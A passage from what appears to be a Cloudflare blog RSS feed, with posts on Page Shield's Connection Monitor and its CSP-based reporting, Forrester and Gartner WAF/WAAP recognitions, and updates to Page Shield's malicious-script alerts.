            <content:encoded><![CDATA[ <p></p><p>Page Shield can now watch for malicious outbound connections made by third-party JavaScript code</p><p>Many websites use third party JavaScript libraries to cut development time by using pre-built features. Common examples include checkout services, analytics tools, or live chat integrations. Any one of these JavaScript libraries may be sending site visitors’ data to unknown locations.</p><p>If you manage a website, and you have ever wondered where end user data might be going and who has access to it, starting today, you can find out using <a href="/page-shield-generally-available/">Page Shield</a>’s Connection Monitor.</p><p>Page Shield is our client side security solution that aims to detect malicious behavior and compromises that affect the browser environment directly, such as those that exploit vulnerabilities in third party JavaScript libraries.</p><p>Connection Monitor, available from today, is the latest addition to Page Shield and allows you to see outbound connections being made by your users’ browsers initiated by third party JavaScript added to your site. You can then review this information to ensure only appropriate third parties are receiving sensitive data.</p><p>Customers on our business and enterprise plans receive visibility in outbound connections provided by Connection Monitor. If you are using our Page Shield enterprise add-on, you also get notifications whenever a connection is found to be potentially malicious.</p>
    <div>
      <h3>Covering more attack surface with Connection Monitor</h3>
      <a href="#covering-more-attack-surface-with-connection-monitor">
        
      </a>
    </div>
    <p>Connection Monitor expands the net of opportunities to catch malicious behavior that might be happening in your users’ browsers by complementing the visibility provided by <a href="https://developers.cloudflare.com/page-shield/use-dashboard/monitor-scripts/">Script Monitor</a>, the core feature of Page Shield before today.</p><p>While Script Monitor is focusing on analyzing JavaScript code to find malicious signals, Connection Monitor is looking at where data is sent to. The two features work perfectly together.</p><p>Very frequently, in fact, client side compromises within the context of web applications result in data exfiltration. The most well known example of this is <a href="/detecting-magecart-style-attacks-for-pageshield/">Magecart-style attacks</a> where a malicious actor would attempt to exfiltrate credit card data directly from the application’s check out flow (normally on e-commerce sites) without changing the application behavior.</p><p>These attacks are often hard to detect as they exploit JavaScript outside your direct control, for example an embedded widget, and operate without any noticeable effect on the user experience.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/34SLDF4HKgC56YMhyD1ncE/a4915598c91dacd4a6e3167a7a31940b/image2-15.png" />
            
            </figure>
    <div>
      <h3>Complementing Content Security Policies</h3>
      <a href="#complementing-content-security-policies">
        
      </a>
    </div>
    <p>Page Shield uses <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP#:~:text=Content%20Security%20Policy%20(CSP)%20is,site%20defacement%2C%20to%20malware%20distribution.">Content Security Policies</a> (CSPs) to receive data from the browser, but complements them by focusing on the core problem: detecting malicious behavior, something that CSPs don’t do out of the box.</p><p>Content Security Policies are widely adopted and allow you, as a website administrator, to tell browsers what the browser is allowed to load and from where. This is useful in principle, but in practice CSPs are hard to maintain for large applications, and often end up being very broad making them ineffective. More importantly, CSPs provide no built-in mechanism to detect malicious behavior. This is where Page Shield helps.</p><p>Before today, with Script Monitor, Page Shield would detect malicious behavior by focusing on JavaScript files only, by running, among other things, <a href="/detecting-magecart-style-attacks-for-pageshield/">our classifier on JavaScript code</a>. Starting today, with Connection Monitor, we also perform threat intelligence feed lookups against connection URL endpoints allowing us to quickly spot potentially suspicious <a href="https://www.cloudflare.com/learning/access-management/what-is-dlp/">data leaks</a>.</p>
    <div>
      <h3>Connection Monitor: under the hood</h3>
      <a href="#connection-monitor-under-the-hood">
        
      </a>
    </div>
    <p>Connection Monitor uses the <code>connect-src</code> directive from <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP#:~:text=Content%20Security%20Policy%20(CSP)%20is,site%20defacement%2C%20to%20malware%20distribution.">Content Security Policies</a> (CSPs) to receive information about outbound connections from browsers.</p><p>This information is then stored for easy access and enhanced with additional insights including connection status, connection page source, domain information, and if you have access to our enterprise add-on, threat feed intelligence.</p><p>To use Connection Monitor you need to proxy your application via Cloudflare. When turned on, it will, on a sampled percentage of HTML page loads only, insert the following HTTP response header that implements the Content Security Policy used to receive data:</p><p><code>content-security-policy-report-only: script-src 'none'; connect-src 'none'; report-uri &lt;HOSTNAME&gt;/cdn-cgi/script_monitor/report?&lt;QUERY_STRING&gt;</code></p><p>This HTTP response header asks the browser to send information regarding scripts (<code>script-src</code>) and connections (<code>connect-src</code>) to the given endpoint. By default, the endpoint hostname is <code>csp-reporting.cloudflare.com</code>, but you can change it to be the same hostname of your website if you are on our enterprise add-on.</p><p>Using the above CSP, browsers will report any <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/connect-src">connections initiated by</a>:</p><ul><li><p><code>&lt;a&gt;</code> ping,</p></li><li><p><code>fetch()</code>,</p></li><li><p><code>XMLHttpRequest</code>,</p></li><li><p><code>WebSocket</code>,</p></li><li><p><code>EventSource</code>, and</p></li><li><p><code>Navigator.sendBeacon()</code></p></li></ul><p>An example connection report is shown below:</p>
            <pre><code>"csp-report": {
    "document-uri": "https://cloudflare.com/",
    "referrer": "",
    "violated-directive": "connect-src",
    "effective-directive": "connect-src",
    "original-policy": "",
    "disposition": "report",
    "blocked-uri": "wss://example.com/",
    "line-number": 5,
    "column-number": 16,
    "source-file": "",
    "status-code": 200,
    "script-sample": ""
}</code></pre>
            <p>Using reports like the one above, we can then create an inventory of outbound connection URLs alongside which pages they were initiated by. This data is then made available via the dashboard enhanced with:</p><ul><li><p><b>Connection status</b>: Active if the connection has been seen recently</p></li><li><p><b>Timestamps:</b> First seen and last seen</p></li><li><p><b>Metadata</b>: WHOIS information, SSL certificate information, if any, domain registration information</p></li><li><p><b>Malicious signals:</b> Threat feed domain and URL lookups* </p></li></ul><p>* URL feed lookups are only available if the full connection path is being stored.</p>
    <div>
      <h3>A note on privacy</h3>
      <a href="#a-note-on-privacy">
        
      </a>
    </div>
    <p>At Cloudflare, we want to ensure both direct customer and end customer privacy. For this reason, Connection Monitor by default will only store and collect the scheme and host portion of the connection URL, so for example, if the endpoint the browser is sending data to is:</p><p><code>https://connection.example.com/session/abc</code></p><p>Connection Monitor will only store <code>https://connection.example.com</code> and drop the path <code>/session/abc</code>. This ensures that we are minimizing the risk of storing session IDs, or other sensitive data that may be found in full URLs.</p><p>Not storing the path, does mean that in some specific circumstances, we are not able to do full URL feed lookups from our threat intelligence. For this reason, if you know you are not inserting sensitive data in connection paths, you can easily turn on path storage from the dashboard. Domain lookups will continue to work as expected. Support for also storing the query string will be added in the future.</p>
    <div>
      <h3>Going further</h3>
      <a href="#going-further">
        
      </a>
    </div>
    <p>Script Monitor and Connection Monitor are only two of many directives provided by CSP that we plan to support in Page Shield. Going further, there are a number of additional features we are already working on, including the ability to suggest and implement both positive and negative policies directly from the dashboard.</p><p>We are excited to see Connection Monitor providing additional visibility in application behavior and look forward to the next evolutions.</p> ]]></content:encoded>
            <category><![CDATA[Page Shield]]></category>
            <category><![CDATA[Security]]></category>
            <guid isPermaLink="false">3tWkaivJ9ErICRwK9uOy1o</guid>
            <dc:creator>Michael Tremante</dc:creator>
        </item>
        <item>
            <title><![CDATA[Cloudflare named a Leader in WAF by Forrester]]></title>
            <link>https://blog.cloudflare.com/cloudflare-named-leader-waf-forrester-2022/</link>
            <pubDate>Tue, 27 Sep 2022 14:15:02 GMT</pubDate>
            <description><![CDATA[ Forester has recognised Cloudflare as a Leader in The Forrester Wave™: Web Application Firewalls, Q3 2022 report. The report evaluated 12 Web Application Firewall (WAF) providers on 24 criteria across current offering, strategy and market presence. ]]></description>
            <content:encoded><![CDATA[ <p></p><p>Forrester has recognised Cloudflare as a Leader in The Forrester Wave™: Web Application Firewalls, Q3 2022 report. The report evaluated 12 Web Application Firewall (WAF) providers on 24 criteria across current offering, strategy and market presence.</p><p>You can register for a complimentary copy of the report <a href="https://www.cloudflare.com/lp/forrester-wave-for-waf-2022/">here</a>. The report helps security and risk professionals select the correct offering for their needs.</p><p>We believe this achievement, along with recent WAF developments, reinforces our commitment and continued investment in the Cloudflare Web Application Firewall (WAF), one of our core product offerings.</p><p>The WAF, along with our DDoS Mitigation and CDN services, has in fact been an offering since Cloudflare’s founding, and we could not think of a better time to receive this recognition: Birthday Week.</p><p>We’d also like to take this opportunity to thank Forrester.</p>
    <div>
      <h3>Leading WAF in strategy</h3>
      <a href="#leading-waf-in-strategy">
        
      </a>
    </div>
    <p>Cloudflare received the highest score of all assessed vendors in the strategy category. We also received the highest possible scores in 10 criteria, including:</p><ul><li><p>Innovation</p></li><li><p>Management UI</p></li><li><p>Rule creation and modification</p></li><li><p>Log4Shell response</p></li><li><p>Incident investigation</p></li><li><p>Security operations feedback loops</p></li></ul><p>According to Forrester, “Cloudflare Web Application Firewall shines in configuration and rule creation”, “Cloudflare stands out for its active online user community and its associated response time metrics”, and “Cloudflare is a top choice for those prioritizing usability and looking for a unified application security platform.”</p>
    <div>
      <h3>Protecting web applications</h3>
      <a href="#protecting-web-applications">
        
      </a>
    </div>
    <p>The <a href="https://www.cloudflare.com/learning/ddos/glossary/web-application-firewall-waf/">core value of any WAF</a> is to keep web applications safe from external attacks by stopping any compromise attempt. Compromises can in fact lead to complete application take over and data exfiltration resulting in financial and reputational damage to the targeted organization.</p><p>The Log4Shell criterion in the Forrester Wave report is an excellent example of a real world use case to demonstrate this value.</p><p><a href="/inside-the-log4j2-vulnerability-cve-2021-44228/">Log4Shell</a> was a high severity vulnerability discovered in December 2021 that affected the popular <a href="https://logging.apache.org/log4j/">Apache Log4J software</a> commonly used by applications to implement logging functionality. The vulnerability, when exploited, allows an attacker to perform remote code execution and consequently take over the target application.</p><p>Due to the popularity of this software component, many organizations worldwide were potentially at risk after the immediate public announcement of the vulnerability on December 9, 2021.</p><p>We believe that we scored the highest possible score in the Log4Shell criterion due to our <a href="/cve-2021-44228-log4j-rce-0-day-mitigation/">fast response</a> to the announcement, by ensuring that all customers using the Cloudflare WAF were protected against the exploit in less than 17 hours globally.</p><p>We did this by deploying new managed rules (virtual patching) that were made available to all customers. The rules were deployed with a block action ensuring exploit attempts never reached customer applications.</p><p>Additionally, our continuous public updates on the subject, including regarding <a href="/how-cloudflare-security-responded-to-log4j2-vulnerability/">internal processes</a>, helped create clarity and understanding around the <a href="/exploitation-of-cve-2021-44228-before-public-disclosure-and-evolution-of-waf-evasion-patterns/">severity of the issue</a> and <a href="/secure-how-your-servers-connect-to-the-internet-today/">remediation steps</a>.</p><p>In the following weeks from the initial announcement, we <a href="/protection-against-cve-2021-45046-the-additional-log4j-rce-vulnerability/">updated WAF rules several times</a> following discovery of multiple <a href="/actual-cve-2021-44228-payloads-captured-in-the-wild/">variations of the attack payloads</a>.</p><p>The Cloudflare WAF ultimately “bought” valuable time for our customers to patch their back end systems before attackers may have been able to find and attempt compromise of vulnerable applications.</p><p>You can read about our response and our actions following the Log4Shell announcement in great detail on <a href="/tag/log4j/">our blog</a>.</p>
    <div>
      <h3>Use the Cloudflare WAF today</h3>
      <a href="#use-the-cloudflare-waf-today">
        
      </a>
    </div>
    <p>Cloudflare WAF keeps organizations safer while they focus on improving their applications and APIs. We integrate leading application security capabilities into a single console to protect applications with our WAF while also securing APIs, stopping DDoS attacks, blocking unwanted bots, and monitoring for 3rd party JavaScript attacks.</p><p>To start using our Cloudflare WAF today, <a href="https://dash.cloudflare.com/sign-up">sign up for an account</a>.</p> ]]></content:encoded>
            <category><![CDATA[WAF]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[API Security]]></category>
            <category><![CDATA[DDoS]]></category>
            <category><![CDATA[Bot Management]]></category>
            <category><![CDATA[Page Shield]]></category>
            <guid isPermaLink="false">3dSRzX0fy9IB9ur2XdcyCu</guid>
            <dc:creator>Michael Tremante</dc:creator>
        </item>
        <item>
            <title><![CDATA[Cloudflare named a Leader by Gartner]]></title>
            <link>https://blog.cloudflare.com/cloudflare-waap-named-leader-gartner-magic-quadrant-2022/</link>
            <pubDate>Tue, 06 Sep 2022 16:15:44 GMT</pubDate>
            <description><![CDATA[ Gartner has recognised Cloudflare as a Leader in the 2022 "Gartner® Magic Quadrant™ for Web Application and API Protection (WAAP)" report that evaluated 11 vendors for their ‘ability to execute’ and ‘completeness of vision’ ]]></description>
            <content:encoded><![CDATA[ 
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4faqwOuCjNSeiaq3MqY8rw/b4c0fdf3b2682a7c99a586ebc9272176/BDES-3702-Gartner-MQ-Social_Blue_V2_1200x628_NOCTA--1-.png" />
            
            </figure><p>Gartner has recognised Cloudflare as a Leader in the 2022 "Gartner® Magic Quadrant™ for Web Application and API Protection (WAAP)" report that evaluated 11 vendors for their ‘ability to execute’ and ‘completeness of vision’. You can register for a complimentary copy of the most recent Gartner WAAP report <a href="https://www.cloudflare.com/lp/gartner-cloud-web-application-api-protection-market-guide/">here</a>.</p><p>We believe this achievement highlights our continued commitment and investment in this space as we aim to provide better and more effective security solutions to our users and customers.</p>
    <div>
      <h2>Keeping up with application security</h2>
      <a href="#keeping-up-with-application-security">
        
      </a>
    </div>
    <p>With over 36 million HTTP requests per second being processed by the Cloudflare global network we get unprecedented visibility into network patterns and attack vectors. This scale allows us to effectively differentiate clean traffic from malicious, resulting in about <a href="/application-security/">1 in every 10 HTTP requests proxied by Cloudflare being mitigated at the edge</a> by our WAAP portfolio.</p><p>Visibility is not enough, and as new use cases and patterns emerge, we invest in research and new product development. For example, <a href="/landscape-of-api-traffic/">API traffic is increasing</a> (55%+ of total traffic) and we don’t expect this trend to slow down. To help customers with these new workloads, our <a href="/api-gateway/">API Gateway</a> builds upon our <a href="https://www.cloudflare.com/waf/">WAF</a> to provide better visibility and mitigations for well-structured API traffic for which we’ve observed different attack profiles compared to standard web based applications.</p><p>We believe our continued investment in application security has helped us gain our position in this space, and we’d like to thank Gartner for the recognition.</p>
    <div>
      <h2>Cloudflare WAAP</h2>
      <a href="#cloudflare-waap">
        
      </a>
    </div>
    <p>At Cloudflare, we have built several features that fall under the Web Application and API Protection (WAAP) umbrella.</p>
    <div>
      <h3>DDoS protection &amp; mitigation</h3>
      <a href="#ddos-protection-mitigation">
        
      </a>
    </div>
    <p>Our <a href="https://www.cloudflare.com/network/">network</a>, which spans more than 275 cities in over 100 countries is the backbone of our platform, and is a core component that allows us to mitigate <a href="/ddos-attack-trends-for-2022-q2/">DDoS attacks of any size</a>.</p><p>To help with this, our network is intentionally anycasted and advertises the same IP addresses from all locations, allowing us to “split” incoming traffic into manageable chunks that each location can handle with ease, and this is especially important when mitigating large volumetric Distributed Denial of Service (DDoS) attacks.</p><p>The system is designed to require little to no configuration while also being “always-on” ensuring attacks are mitigated instantly. Add to that some very smart software such as our new <a href="/location-aware-ddos-protection/">location aware mitigation</a>, and DDoS attacks become a solved problem.</p><p>For customers with very specific traffic patterns, <a href="/http-ddos-managed-rules/">full configurability of our DDoS Managed Rules</a> is just a click away.</p>
    <div>
      <h3>Web Application Firewall</h3>
      <a href="#web-application-firewall">
        
      </a>
    </div>
    <p>Our <a href="https://www.cloudflare.com/waf/">WAF</a> is a core component of our application security and ensures hackers and vulnerability scanners have a hard time trying to find potential vulnerabilities in web applications.</p><p>This is very important when zero-day vulnerabilities become publicly available as we’ve seen bad actors attempt to leverage new vectors within hours of them becoming public. <a href="/tag/log4j/">Log4J</a>, and even more recently the <a href="/cloudflare-customers-are-protected-from-the-atlassian-confluence-cve-2022-26134/">Confluence CVE</a>, are just two examples where we observed this behavior. That’s why our WAF is also backed by a team of security experts who <a href="https://developers.cloudflare.com/waf/change-log/scheduled-changes">constantly monitor and develop/improve signatures</a> to ensure we “buy” precious time for our customers to harden and patch their backend systems when necessary. Additionally, and complementary to signatures, our <a href="/waf-ml/">WAF machine learning system</a> classifies each request providing a much wider view in traffic patterns.</p><p>Our WAF comes packed with many advanced features such as <a href="https://developers.cloudflare.com/waf/exposed-credentials-check/">leaked credential checks</a>, <a href="https://developers.cloudflare.com/waf/analytics/">advanced analytics</a> and <a href="/get-notified-when-your-site-is-under-attack/">alerting</a> and <a href="https://developers.cloudflare.com/waf/managed-rulesets/payload-logging/">payload logging</a>.</p>
    <div>
      <h3>Bot Management</h3>
      <a href="#bot-management">
        
      </a>
    </div>
    <p>It is no secret that <a href="https://radar.cloudflare.com/">a large portion of web traffic is automated</a>, and while not all automation is bad, some is unnecessary and may also be malicious.</p><p>Our <a href="https://www.cloudflare.com/products/bot-management/">Bot Management</a> product works in parallel to our WAF and scores every request with the likelihood of it being generated by a bot, allowing you to easily filter unwanted traffic by deploying a WAF Custom Rule, all this backed by powerful analytics. We make this easy by also maintaining a list of <a href="https://radar.cloudflare.com/verified-bots">verified bots</a> that can be used to further improve a security policy.</p><p>In the event you want to block automated traffic, <a href="/end-cloudflare-captcha/">Cloudflare's managed challenge</a> ensures that only bots receive a hard time without impacting the experience of real users.</p>
    <div>
      <h3>API Gateway</h3>
      <a href="#api-gateway">
        
      </a>
    </div>
    <p>API traffic, by definition, is very well-structured relative to standard web pages consumed by browsers. At the same time, <a href="https://www.cloudflare.com/learning/security/api/what-is-an-api/">APIs</a> tend to be closer abstractions to back end databases and services, resulting in increased attention from malicious actors and often go unnoticed even to internal security teams (<a href="https://www.cloudflare.com/learning/security/api/what-is-shadow-api/">shadow APIs</a>).</p><p><a href="/api-gateway/">API Gateway</a>, that can be layered on top of our WAF, helps you both <a href="https://developers.cloudflare.com/api-shield/security/api-discovery/">discover API endpoints</a> served by your infrastructure, as well detect potential anomalies in traffic flows that may indicate compromise, both from a <a href="https://developers.cloudflare.com/api-shield/security/volumetric-abuse-detection/">volumetric</a> and <a href="https://developers.cloudflare.com/api-shield/security/sequential-abuse-detection/">sequential</a> perspective.</p><p>The nature of APIs also allows API Gateway to much more easily provide a positive security model contrary to our WAF: only allow known good traffic and block everything else. Customers can leverage <a href="https://developers.cloudflare.com/api-shield/security/schema-validation/">schema protection</a> and <a href="https://developers.cloudflare.com/api-shield/security/mtls/">mutual TLS authentication (mTLS)</a> to achieve this with ease.</p>
    <div>
      <h3>Page Shield</h3>
      <a href="#page-shield">
        
      </a>
    </div>
    <p>Attacks that leverage the browser environment directly can go unnoticed for some time, as they don’t necessarily require the back end application to be compromised. For example, if any third party JavaScript library used by a web application is performing malicious behavior, application administrators and users may be none the wiser while credit card details are being leaked to a third party endpoint controlled by an attacker. This is a common vector for Magecart, one of many client side security attacks.</p><p><a href="https://www.cloudflare.com/page-shield/">Page Shield</a> is solving client side security by providing active monitoring of third party libraries and <a href="https://developers.cloudflare.com/page-shield/reference/alerts/">alerting application owners whenever a third party asset shows malicious activity</a>. It leverages both public standards such as content security policies (CSP) along with <a href="/detecting-magecart-style-attacks-for-pageshield/">custom classifiers</a> to ensure coverage.</p><p>Page Shield, just like our other WAAP products, is fully integrated on the Cloudflare platform and requires one single click to turn on.</p>
    <div>
      <h3>Security Center</h3>
      <a href="#security-center">
        
      </a>
    </div>
    <p>Cloudflare's new <a href="https://www.cloudflare.com/securitycenter/">Security Center</a> is the home of the WAAP portfolio. A single place for security professionals to get a broad view across both <a href="https://developers.cloudflare.com/security-center/tasks/review-insights/">network</a> and <a href="https://developers.cloudflare.com/security-center/tasks/review-infrastructure/">infrastructure</a> assets protected by Cloudflare.</p><p>Moving forward we plan for the Security Center to be the starting point for forensics and analysis, allowing you to also leverage Cloudflare threat intelligence <a href="/security-center-investigate/">when investigating incidents</a>.</p>
    <div>
      <h2>The Cloudflare advantage</h2>
      <a href="#the-cloudflare-advantage">
        
      </a>
    </div>
    <p>Our WAAP portfolio is delivered from a single horizontal platform, allowing you to leverage all security features without additional deployments. Additionally, scaling, maintenance and updates are fully managed by Cloudflare allowing you to focus on delivering business value on your application.</p><p>This applies even beyond WAAP, as, although we started building products and services for web applications, our position in the network allows us to protect anything connected to the Internet, including teams, offices and internal facing applications. All from the same single platform. Our <a href="https://www.cloudflare.com/products/zero-trust/">Zero Trust portfolio</a> is now an integral part of our business and WAAP customers can start leveraging our <a href="https://www.cloudflare.com/learning/access-management/what-is-sase/">secure access service edge (SASE)</a> with just a few clicks.</p><p>If you are looking to consolidate your security posture, both from a management and budget perspective, application services teams can use the same platform that internal IT services teams use, to protect staff and internal networks.</p>
    <div>
      <h2>Continuous innovation</h2>
      <a href="#continuous-innovation">
        
      </a>
    </div>
    <p>We did not build our WAAP portfolio overnight, and over just the past year we’ve released more than five major WAAP portfolio security product releases. To showcase our speed of innovation, here is a selection of our top picks:</p><ul><li><p><a href="/protecting-apis-from-abuse-and-data-exfiltration/">API Shield Schema Protection</a>: traditional signature based WAF approaches (negative security model) don’t always work well with well-structured data such as API traffic. Given the fast growth in API traffic across the network we built a new incremental product that allows you to enforce API schemas directly at the edge using a positive security model: only let well-formed data through to your origin web servers;</p></li><li><p><a href="/api-abuse-detection/">API Abuse Detection</a>: complementary to API Schema Protection, API Abuse Detection warns you whenever anomalies are detected on your API endpoints. These can be triggered by unusual traffic flows or patterns that don’t follow normal traffic activity;</p></li><li><p><a href="/new-cloudflare-waf/">Our new Web Application Firewall</a>: built on top of our new Edge Rules Engine, the core Web Application Firewall received a complete overhaul, all the way from engine internals to the UI. Better performance both in terms of latency and efficacy at blocking malicious payloads, along with brand-new capabilities including but not limited to Exposed Credential Checks, account wide configurations and payload logging;</p></li><li><p><a href="/http-ddos-managed-rules/">DDoS customizable Managed Rules</a>: to provide additional configuration flexibility, we started exposing some of our internal DDoS mitigation managed rules for custom configurations to further reduce false positives and allow customers to increase thresholds / detections as required;</p></li><li><p><a href="/security-center/">Security Center</a>: Cloudflare view on infrastructure and network assets, along with alerts and notifications for miss configurations and potential security issues;</p></li><li><p><a href="/page-shield-generally-available/">Page Shield</a>: based on growing customer demand and the rise of attack vectors focusing on the end user browser environment, Page Shield helps you detect whenever malicious JavaScript may have made its way into your application’s code;</p></li><li><p><a href="/api-gateway/">API Gateway</a>: full <a href="https://www.cloudflare.com/application-services/products/api-gateway/">API management</a>, including routing directly from the Cloudflare edge, with API Security baked in, including encryption and mutual TLS authentication (mTLS);</p></li><li><p><a href="/waf-ml/">Machine Learning WAF</a>: complementary to our WAF Managed Rulesets, our new ML WAF engine, scores every single request from 1 (clean) to 99 (malicious) giving you additional visibility in both valid and non-valid malicious payloads increasing our ability to detect targeted attacks and scans towards your application;</p></li></ul>
    <div>
      <h2>Looking forward</h2>
      <a href="#looking-forward">
        
      </a>
    </div>
    <p>Our roadmap is packed with both new application security features and improvements to existing systems. As we learn more about the Internet we find ourselves better equipped to keep your applications safe. Stay tuned for more.</p><p><i>Gartner, “Magic Quadrant for Web Application and API Protection”, Analyst(s): Jeremy D'Hoinne, Rajpreet Kaur, John Watts, Adam Hils, August 30, 2022.</i></p><p><i>Gartner and Magic Quadrant are registered trademarks of Gartner, Inc. and/or its affiliates in the U.S. and internationally and is used herein with permission. All rights reserved.Gartner does not endorse any vendor, product or service depicted in its research publications, and does not advise technology users to select only those vendors with the highest ratings or other designation.</i></p><p><i>Gartner research publications consist of the opinions of Gartner’s research organization and should not be construed as statements of fact. Gartner disclaims all warranties, expressed or implied, with respect to this research, including any warranties of merchantability or fitness for a particular purpose.</i></p> ]]></content:encoded>
            <category><![CDATA[WAF]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[API Security]]></category>
            <category><![CDATA[DDoS]]></category>
            <category><![CDATA[Bot Management]]></category>
            <category><![CDATA[Page Shield]]></category>
            <category><![CDATA[Gartner]]></category>
            <guid isPermaLink="false">2tRJFHozu8n8pAwXBJ1tSY</guid>
            <dc:creator>Michael Tremante</dc:creator>
        </item>
        <item>
            <title><![CDATA[Making Page Shield malicious code alerts more actionable]]></title>
            <link>https://blog.cloudflare.com/making-page-shield-malicious-code-alerts-more-actionable/</link>
            <pubDate>Tue, 05 Jul 2022 12:59:11 GMT</pubDate>
            <description><![CDATA[ In this post we go over improvements to script status, metadata and categorization. ]]></description>
            <content:encoded><![CDATA[ <p></p><p>Last year during CIO week, we announced <a href="/page-shield-generally-available/">Page Shield in general availability</a>. Today, we talk about improvements we’ve made to help Page Shield users focus on the highest impact scripts and get more value out of the product. In this post we go over improvements to script status, metadata and categorization.</p>
    <div>
      <h3>What is Page Shield?</h3>
      <a href="#what-is-page-shield">
        
      </a>
    </div>
    <p><a href="https://www.cloudflare.com/page-shield/">Page Shield</a> protects website owners and visitors against malicious 3rd party JavaScript. JavaScript can be leveraged in a number of malicious ways: browser-side crypto mining, data exfiltration and malware injection to mention a few.</p><p>For example a single hijacked JavaScript can expose millions of user’s credit card details across a range of websites to a malicious actor. The bad actor would scrape details by leveraging a compromised JavaScript library, skimming inputs to a form and exfiltrating this to a 3rd party endpoint under their control.</p><p>Today Page Shield partially relies on <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy">Content Security Policies</a> (CSP), a browser native framework that can be used to control and gain visibility of which scripts are allowed to load on pages (while also reporting on any violations). We use these violation reports to provide detailed information in the Cloudflare dashboard regarding scripts being loaded by end-user browsers.</p><p>Page Shield users, via the dashboard, can see which scripts are active on their website and on which pages. Users can be alerted in case a script performs malicious activity, and monitor code changes of the script.</p>
    <div>
      <h3>Script status</h3>
      <a href="#script-status">
        
      </a>
    </div>
    <p>To help identify malicious scripts, and make it easier to take action on live threats, we have introduced a status field.</p><p>When going to the <a href="https://dash.cloudflare.com/?to=/:account/:zone/security/page-shield">Page Shield dashboard</a>, the customer will now only see scripts with a status of <code>active</code>. Active scripts are those that were seen in the last seven days and didn’t get served through the “cdn-cgi” endpoint (which is managed by Cloudflare).</p><p>We also introduced other statuses:</p><ul><li><p><code>infrequent</code> scripts are scripts that have only been seen in a negligible amount of CSP reports over a period of time. They normally indicate a single user’s browser using a compromised browser extension. The goal of this status is to reduce noise caused by browser plugins that inject their JavaScript in the HTML.</p></li><li><p><code>inactive</code> scripts are those that have not been reported for seven days and therefore have likely since been removed or replaced.</p></li><li><p><code>cdn-cgi</code> are scripts served from the ‘/cdn-cgi/’ endpoint which is managed by Cloudflare. These scripts are related to Cloudflare products like our analytics or Bot Management features. Cloudflare closely monitors these scripts, they are fairly static, so they shouldn’t require close monitoring by a customer and therefore are hidden by default unless our detections find anything suspicious.</p></li></ul><p>If the customer wishes to see the full list of scripts including the non-active scripts they can still do so by clicking ‘All scripts’.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3xQ9R3v61KQLMuT1AL8Cqu/14e35701369d598eb93f01e082864415/Screenshot-2022-06-28-at-13.30.05.png" />
            
            </figure>
    <div>
      <h3>Script metadata in alerts</h3>
      <a href="#script-metadata-in-alerts">
        
      </a>
    </div>
    <p>Customers that opt into the enterprise add-on version of Page Shield can also choose to set up notifications for malicious scripts. In the previous version, we offered the script URL, first seen on and last seen on data. These alerts have been revamped to improve the experience for security analysts. Our goal is to provide all data a security analyst would manually look-up in order to validate a script. With this update we’ve made a significant step in that direction through using insights delivered by <a href="https://radar.cloudflare.com/">Cloudflare Radar</a>.</p><p>At the top of the email alert you will now find where the script was seen along with other information regarding when the script was seen and the full URL (not clickable for security purposes).</p><p>As part of the enterprise add-on version of Page Shield we review the scripts through a custom <a href="/detecting-magecart-style-attacks-for-pageshield/">machine learning classifier</a> and a range of domain and URL threat feeds. A very common question with any <a href="https://www.cloudflare.com/learning/ai/what-is-machine-learning/">machine learning</a> scoring system is “why did it score the way it scored”. Because of this, the machine learning score generated by our system has now been split up to show the components that made up the score; currently: obfuscation and data exfiltration values. This should help to improve the ability for a customer to review a script in case of a false positive.</p><p>Threat feeds can be very helpful in detecting new attack styles that our classifier hasn’t been trained for yet. Some of these feeds offer us a range of categories of malicious endpoints such as ‘malware’, ‘spyware’ or ‘phishing’. Our enterprise add-on customers will now be able to see the categorization in our alerts (as shown above) and on the dashboard. The goal is to provide more context on why a script is considered malicious.</p><p>We also now provide information on script changes along with the “malicious code score” for each version.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5vH1xUk8cYyqIMeOOmZv7D/0c519074c8a6d85034b93bb5a9685500/Issued-certificates.png" />
            
            </figure><p>Right below the most essential information we have added WHOIS information on the party domain that is providing the script. In some cases the <a href="https://www.cloudflare.com/learning/dns/glossary/what-is-a-domain-name-registrar/">registrar</a> may hide relevant information such as the organization’s name, however, information on the date of registration and expiration can be very useful in detecting unexpected changes in ownership. For example, we often see malicious scripts being hosted under newly registered domains.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/56zORo51fdYPkTJEUxHOzb/1889297aea56b2f6bf00735a89a8e9c8/Insights.png" />
            
            </figure><p>We also now offer details regarding the <a href="https://www.cloudflare.com/application-services/products/ssl/">SSL certificates</a> issued for this domain through certificate transparency monitoring. This can be useful in detecting a potential take over. For example, if a 3rd party script endpoint usually uses a Digicert certificate, but recently a Let’s Encrypt certificate has been issued this could be an indicator that another party is trying to take over the domain.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1vfP1JIojvCQFajdhHjIQj/7b51237eb86c6ea01ab73b393aefa232/Main.png" />
            
            </figure><p>Last but not least, we have improved our dashboard link to take users directly to the specific script details page provided by the Page Shield UI.</p>
    <div>
      <h3>What’s next?</h3>
      <a href="#whats-next">
        
      </a>
    </div>
    <p>There are many ways to perform malicious activity through JavaScript. Because of this it is important that we build attack type specific detection mechanisms as well as overarching tools that will help detect anomalies. We are currently building a new component purpose built to look for signs of malicious intent in data endpoints by leveraging the <code>connect-src</code> CSP directive. The goal is to improve the accuracy of our Magecart-style attack detection.</p><p>We are also working on providing the ability to generate CSP policies directly through Page Shield making it easy to perform positive blocking and maintain rules over time.</p><p>Another feature we are working on is offering the ability to block scripts from accessing a user's webcam, microphone or location through a single click.</p><p>More about this in future blog posts. Many more features to come!</p> ]]></content:encoded>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Page Shield]]></category>
            <category><![CDATA[JavaScript]]></category>
            <guid isPermaLink="false">3RS6LTyJ0qPXDoVT6idq42</guid>
